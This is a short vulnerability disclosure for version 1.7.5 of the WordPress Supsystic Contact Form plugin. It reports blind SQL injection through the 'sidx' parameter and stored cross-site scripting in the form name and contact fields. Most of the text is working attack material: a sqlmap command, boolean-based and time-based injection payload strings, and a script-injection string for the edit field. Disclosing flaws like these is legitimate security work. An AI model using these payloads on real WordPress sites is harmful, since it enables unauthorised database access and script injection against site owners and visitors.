WordPress Supsystic Contact Form 1.7.5 XSS / SQL Injection

WordPress Supsystic Contact Form 1.7.5 XSS / SQL Injection

WordPress Supsystic Contact Form plugin version 1.7.5 suffers from remote SQL injection and persistent cross site scripting vulnerabilities.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
##################################
         SQLi
##################################


# 1. Description

The GET parameter "sidx" does not sanitize user input when searching for existing contact forms.


# 2. Proof of Concept (PoC)

Use ZAP/Burp to capture the web request when searching for existing contact forms and save it to request.txt
Referer: http://192.168.0.49/wp-admin/admin.php?page=contact-form-supsystic

sqlmap -r request.txt --dbms=mysql -p sidx --level=5

Parameter: sidx (GET)
  Type: boolean-based blind
  Payload: mod=forms&action=getListForTbl&pl=cfs&reqType=ajax&search[text_like]=t&_search=false&nd=1595781461778&rows=10&page=1&sidx=(SELECT (CASE WHEN (9602=9602) THEN 0x6964 ELSE (SELECT 9695 UNION SELECT 1181) END))&sord=desc

  Type: time-based blind
  Payload: mod=forms&action=getListForTbl&pl=cfs&reqType=ajax&search[text_like]=t&_search=false&nd=1595781461778&rows=10&page=1&sidx=id AND (SELECT 4102 FROM (SELECT(SLEEP(5)))vOKL)&sord=desc



##################################
      Stored XSS
##################################


# 1. Description

The "Edit name" and "Contact information" features are vulnerable to stored XXS.
Location: http://192.168.0.49/wp-admin/admin.php?page=contact-form-supsystic&tab=forms_edit&id=[FORM ID]


# 2. Proof of Concept (PoC)

Enter the following payload into the "Edit" field in the top left corner: "><script>alert(1)</script><!--'
The payload will execute when viewing the "Show All Forms" section.
Referer: http://192.168.0.49/wp-admin/admin.php?page=contact-form-supsystic&tab=forms